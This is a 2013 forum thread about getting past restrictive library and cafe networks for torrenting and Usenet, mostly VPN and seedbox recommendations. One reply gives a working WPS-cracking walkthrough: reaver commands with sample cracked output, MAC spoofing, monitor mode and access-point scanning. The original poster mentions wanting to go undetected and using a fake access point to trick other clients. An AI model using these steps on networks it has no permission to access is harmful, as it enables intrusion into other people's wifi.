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Need advice on the best way to bypass restrictive networks

Postby Enigma83 » Sun Oct 06, 2013 4:25 am

Hi, this is my first post here at Slyck, no introduction necessary. My situation is that I am usually stuck with accessing the Net at public libraries, coffee shops, etc (I live outside, don't care what anyone thinks). I consider my laptop and Android phone my best forms of self-entertainment. However, oftentimes these places have extremely restrictive connections, and I want to be able to access things like Usenet and BitTorrent.

I currently have membership with several private trackers and it's difficult to maintain a good ratio on these kinds of connections. I used to have a seedbox subscription with FeralHosting and it was excellent but a bit on the costly side. Sometimes I couldn't even FTP into my account to retrieve the files I had downloaded via the web interface. And one thing I don't like about torrents is that your speed depends on the quality of the swarm. No/few seeders=low DL speeds. Not to mention that the connections I use are horrible for seeding.

As for Usenet, I was with Giganews awhile back but they were expensive as well.

So now I''ve been thinking that a VPN is the best way overall to bypass these kinds of restrictions. But I found that with my old VPN provider (VyprVPN, which was bundled with Giganews) I still couldn't connect at most places I frequent. I've tried proxies and services like Your Freedom in the past, it just didn't work out.

What I'm basically looking for is a good VPN service that can bust through nearly any type of restrictive connection, especially those which tend to be limited to only a few open ports (Web browsing, maybe FTP and SSL, and that's about it). This would allow me to torrent and access Usenet without restrictions.

I am currently considering NewsDemon, it looks like they have a $10/monthly unlimited deal, $15 if you want the bundled VPN service. I would jump on the more expensive plan, but not without being sure that the VPN will work for me. OpenVPN is a bit unreliable and tedious to set up for me.

I also need advice on a good seedbox that has fast speeds and a lot of storage. Around 100 gigs is good for me, maybe up to 500 if it's affordable. And it needs to have good upload speeds so I can seed back and build ratio.

If anyone can recommend a good Usenet and seedbox service for me then I'd be very grateful. And should I go with a bundled vs standalone VPN? I do have a monthly income, although limited. I'm just saving up money until I get approved for subsidized public housing, which is a ways off since the waiting lists are long. Whatever is recommended, it just needs to be affordable and reliable is all.

Thanks for any help!
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Re: Need advice on the best way to bypass restrictive networ

Postby Segadora_Severa » Sun Oct 06, 2013 5:02 pm

Have you considered talking to the owner of the internet that you are using/borrowing to see if they would make some deal with you to allow access to your vpn? I've heard of some people running linux backtrack with a usb dongle along with reaver to crack locked wifi, but I wouldn't recommend that. You'd be to obvious sitting on their porch hacking them.
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Re: Need advice on the best way to bypass restrictive networ

Postby HouseCrowd » Mon Oct 07, 2013 7:28 am

A VPN certainly is your best chance, but if the connection restricts VPN usage too, there's not a lot you can do about it.

I find SwissVPN good and reliable, though I can't vouch for its application to your particular requirement. It's not the fastest service in the world, but it is reasonably fast and it's relatively inexpensive. You can purchase the service on a month by month basis (non-recurring billing) which would allow you to try it with minimal outlay. I have customers who use it to get around ISP restrictions, site-blocking and traffic-shaping and, for the most part, it works well.
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Re: Need advice on the best way to bypass restrictive networ

Postby Enigma83 » Tue Oct 08, 2013 6:35 pm

@ Segadora: No, why would I want to do that? To tip them off in regards to what my motivations and intentions are? I know exactly why I couldnt get access to what I want and they know why too. As for an external wifi card, I actually do have one (it's by Alfa Network), made for pen testers/network security specialists/wifi hackers. It's got a 7 dBi and 9 dBi anntenna, plus a rectangular flat panel antenna. The 9 dBi is over a foot long! I've been messing around with it in BackTrack/Kali Linux and am learning quite a bit. I'm 30 yrs old now, I'm actually thinking of re-enrolling in college to finish my business administration degree, I might look into network security on the side. But you're right, I would look very obvious.

@ HouseCrowd: I did finally find a VPN that works (2, actually). The first is IPredator, it's by the same guys that started Pirate Bay. I got on their IRC channel and started talking, it didnt take long before I was granted 3 days of free access to test it. It worked flawlessly from the very first time I connected, I just followed the instructions. The only problem with their service is that it appears to be based in Germany, it keeps trying to send me to the German versions of Youtube and Google every time I visit those sites.

So, I looked around a bit more and found privateinternetaccess.com, there are some really good reviews on them, looks like they're one of the best and they don't keep logs either. Plus they have servers on US West Coast where I am. My first look at their site gave me a good feeling about them, no free trial offered but I jumped the gun and subbed anyway, everything works fine and I can access everything I want. It appears to work everywhere that I frequent w/o issues. It costs around $6/monthly if you're going the prepaid route, it's all unlimited, and the price isnt one of those special offers that goes up after a period of time.

So whatever issues I was having before must have been due to either the particular setup of my VPN, or the setup of my PC.

I've chosen NewsDemon as my Usenet provider, everything looks great so far. It's around $10/monthly. And to think I was paying Giganews $30/monthly for the same level of service. Screw that shit!

So now I guess I just need help choosing a good seedbox.

Thanks for any advice!
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Re: Need advice on the best way to bypass restrictive networ

Postby Segadora_Severa » Tue Oct 08, 2013 7:36 pm

I have 4 each of these. I have my house networked with them and also one for my laptop. They work very well also with backtrack in a vm. I like the little suction cups on the mounting brackets you can stick them just about anywhere and if it doesn't I bought a little box of adhesive picture hanging clips if I want it up on the wall. I had to take some electrical tape and cover the bright blinking lights up on them though, they are really annoying at night! :thumbup:
I live out in the country and I can pick up the signal from my house nearly a mile away and my neighbors also. lol.
ALFA 15" WiFi Wireless Antenna
Alfa AWUS036NHA Wireless Adaptor

I took it at as you hadn't asked them and you wanted your vpn to work through their routing. You you never know if you did they may make a concession with you that would allow you to use their bandwidth after closing time or something if you were polite about it or offered something in return. Maybe offer to do a little sidework? I'm more than twice your age
and face to face contact still works wonders around here!
When I travel out of the country I use this link http://www.google.com/ncr to get access to the US version of google.
Also you can save it to your preferences http://www.google.com/preferences?hl=en but you have to allow cookies if you want it to stick after you close the browser. Maybe this would work for youtube. I really don't use it though. http://www.youtube.com/?hl=en&tab=w1
Good luck with getting things going your way.
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Re: Need advice on the best way to bypass restrictive networ

Postby Enigma83 » Tue Oct 08, 2013 8:19 pm

You have FOUR Alfa antennas!? My adapter is also the same AWUS036NHA, along with the suction cup and mounting bracket, it's quite impressive. You really must be a network security guru! I'm really just getting started. I have no bad intents, I just want to access whatever I like without doing harm, but also without being detected. I'm really in it to learn.

Which is precisely why I havent asked, to see if I can get through without help. No letting them know what I'm doing is the key to success, to be undetected. And besides, this is a library, they're unlikely to grant my request.

If you dont mind me asking, where are you located? I'm on the West Coast of the US.
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Re: Need advice on the best way to bypass restrictive networ

Postby Segadora_Severa » Tue Oct 08, 2013 9:24 pm

I live in central Oklahoma.
I bought one to check it out. And liked it so much I bought the others and connected them to my desktops in the house.It did away with all the RJ45 cabling. I reviewed that adapter in January there on newegg by the way if you went by that! lol.
The only thing about that adapter is you can't get it into master mode. But it will still inject. I patched the firmware in the vm to boost the wattage. Still haven't quite figured out how to in windows, stupid drivers! lol. I cracked my router with it. Which I then fixed asap by turning off the wifi protected set up. Some routers are still crackable even with that off.

This is an example of what the the last few lines of output look like after I broke into my router. You can run the command again with the -p 770xxxx switch to confirm you have the correct pin. Mine is 770xxxxx. I ran reaver for about a day before it got the correct pin. It is very intensive on the battery of the laptop.

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[+] Trying pin 770xxxxx
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] 100.00% complete @ 2013-01-24 10:04:52 (34 seconds/pin)
[+] Pin cracked in 41214 seconds
[+] WPS PIN: '770xxxxx'
[+] WPA PSK: 'mypasswrd'
[+] AP SSID: 'mywirelessnet'



This is one of the variations of the commands I used;

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reaver -i mon0 -b Cx:3x:0x:Bx:3x:Cx -vv -L -d 3 -N -S -c 6 -l 60 -x 60 -r 30:30


You just have to mess with it and get the feel of the router to set the timings. After a certain amount of tries or time it would lock me out for 5 or 10 minutes at a time.

I would change my mac address of my laptop with macchanger before I began so in case my router blocked the mac of my laptop I wouldn't be in a jam.
I'd use ifconfig wlan0 down, macchanger , then bring it back up ifconfig wlan0 up
Then put the adapter into monitor mode with, airmon-ng start wlan0 or whatever the wireless interface is listed as.
Then run iwconfig or ifconfig and see what your monitor mode is enabled as. Mine was mon0 so I would have to run
the reaver commands and aircrack tools with mon0. You can run aireplay-ng to send keep alive packets if you really want to get in depth and disable reaver doing it so it just concentrates on it's job.

You can see and scan all access points etc with something like airodump-ng -i mon0 -c 6 --berlin 99999999 lol. You can leave the -c channel switch out to scan them all or set it to what channel you want to scan.

Another tool called wash will show you which of your access points are vulnerable to a reaver attack so you can try it and fix them after you're done playing. With something like wash -i mon0 -c 6 -C -s where -c 6 is the channel you're looking at or leave that switch out to scan them all.

Be sure you ask permission to test their equipment before you begin. I only tested it on my own.
Hope you find some useful info there in all that mess. Sorry, it's hard to remember all the steps exactly from memory, and there's several different ways you can do it. I haven't messed with it in several months.
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Re: Need advice on the best way to bypass restrictive networ

Postby Segadora_Severa » Tue Oct 08, 2013 9:31 pm

Quick note, The reason I went with that adapter is because it was wireless b/g/n. The other alfa adapter at the time that did go into master mode wasn't wireless n capable. So I took a chance on it and I'm glad I did. It worked perfectly for me.
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Re: Need advice on the best way to bypass restrictive networ

Postby Enigma83 » Wed Oct 09, 2013 11:23 pm

Yes, the ideal situation would be to ask for permission. But really, no library is going to grant the request. If anything they would ask you to leave. Maybe other places might go along with it though. From my point of view, there's nothing wrong with probing a network as long as you dont so so far as breaking in. If someone really wants to keep their network secure then they will use the best wifi security protocol available, and with a strong password. If they dont bother to secure it, then they're either (most likely) ignorant of the importance of keeping their network protected, or they are aware and just dont care, or they arent aware and still dont care. Like for instance my dad's wifi at home is completely unsecured, he doesnt bother to password it, and doesnt care if his neighbors leech off it. To him it's not a big deal if others use it. But I did propose the scenario to him, that, say, what if there's someone living nearby that uses his network to hack into something, visit kiddy porn sites, etc. At least initially the police would come knocking on his door, and only after that would they look elsewhere. With a password the likelihood of that happening can be significantly reduced.

As for the adapter, I bought the AWUS036NHA for the same reasons as you, because it has wireless N capability. I wanted an adapter that would be current tech (read: not outdated) for the next few years at least. I wasnt aware that it cant be put into master mode. What does this mean? I think it means that it can be used to impersonate an access point, thereby bringing the possibility of tricking other clients into connecting to it under the assumption that the NHA itself is the actual AP. But is master mode really important? Is this a limitation of the adapter itself, or just a limitation of the driver it uses? In other words, is it technically possible with the right firmware mod/softhack? I've also been looking into buying another Alfa adapter, just to test the advantages/disadvantages of each, and to compare them with each other. But I did read that one of their other N-capable models is superior to the NHA in a few ways, but also that the drivers for it suck and arent completely developed, thereby hindering the device and making the NHA superior (currently).

I signed up for the Hak5.org forums awhile back and bought one of their WiFi Pineapple bundles (they seem to be the only ones that sell it, and from what I've read it's a well-known top-notch device). The Pineapple has the ability to put itself into master mode. It's really a very interesting device. It's a real learning experience to sit back while other clients try to connect to your device, not knowing that it's really not the AP at all. A good learning tool.

But I really dont have much experience with BackTrack/Kali, I'm just getting my feet wet while staying within the confines of the law as much as possible, and learning what I can.

Thanks for the advice!
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Re: Need advice on the best way to bypass restrictive networ

Postby ejonesss » Thu Oct 10, 2013 8:07 am

FeralHosting at 10 british pound $15 us that is not bad for the helium plan gives you 400 gig storage the download speed is the same across all plans upload speed is the same across all the plans 2 tb traffic.

isnt bad.
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Re: Need advice on the best way to bypass restrictive networ

Postby Enigma83 » Thu Oct 10, 2013 8:33 am

Thanks ejoness for that info. I used to be a FeralHosting subscriber, they're a bit pricey but worth it. I'm kinda on a budget though. I also noticed that most of the seedbox sites tend to list their prices in either euros or british pounds. Is it just me, or are they mostly located in Europe?
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